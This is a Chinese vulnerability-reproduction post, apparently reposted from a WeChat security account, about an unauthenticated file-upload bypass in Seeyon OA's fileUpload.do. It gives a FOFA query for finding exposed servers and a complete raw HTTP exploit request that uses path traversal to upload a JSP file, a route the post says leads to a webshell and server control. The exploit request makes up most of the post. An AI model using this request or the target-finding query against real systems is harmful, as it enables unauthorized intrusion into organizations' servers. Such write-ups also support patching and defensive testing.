致远互联OA前台fileUpload.do存在绕过文件上传漏洞

漏洞描述

致远互联OA-fileUpload.do接口处存在文件上传漏洞，未经身份验证的远程攻击者可通过目录遍历的方式绕过上传接口限制，并利用menu.do接口替换上传文件的fileid值实现webshell上传到服务器，获取服务器权限。

资产测绘

FOFA：title="协同管理软件 V5.6SP1"

漏洞复现

POST /seeyon/autoinstall.do/../../seeyon/fileUpload.do?method=processUpload HTTP/1.1
Host: your-ip
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Type: multipart/form-data; boundary=00content0boundary00
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/523.15 (KHTML, like Gecko, Safari/419.3) Arora/0.3 (Change: 287 c9dfb30)

--00content0boundary00
Content-Disposition: form-data; name="type"


--00content0boundary00
Content-Disposition: form-data; name="extensions"

png
--00content0boundary00
Content-Disposition: form-data; name="applicationCategory"


--00content0boundary00
Content-Disposition: form-data; name="destDirectory"


--00content0boundary00
Content-Disposition: form-data; name="destFilename"


--00content0boundary00
Content-Disposition: form-data; name="maxSize"


--00content0boundary00
Content-Disposition: form-data; name="isEncrypt"

false
--00content0boundary00
Content-Disposition: form-data; name="file1"; filename="1.png"
Content-Type: Content-Type: application/pdf

<% out.println("hello");%>
--00content0boundary00--

原文始发于微信公众号（漏洞文库）：【漏洞复现】致远互联OA前台fileUpload.do存在绕过文件上传漏洞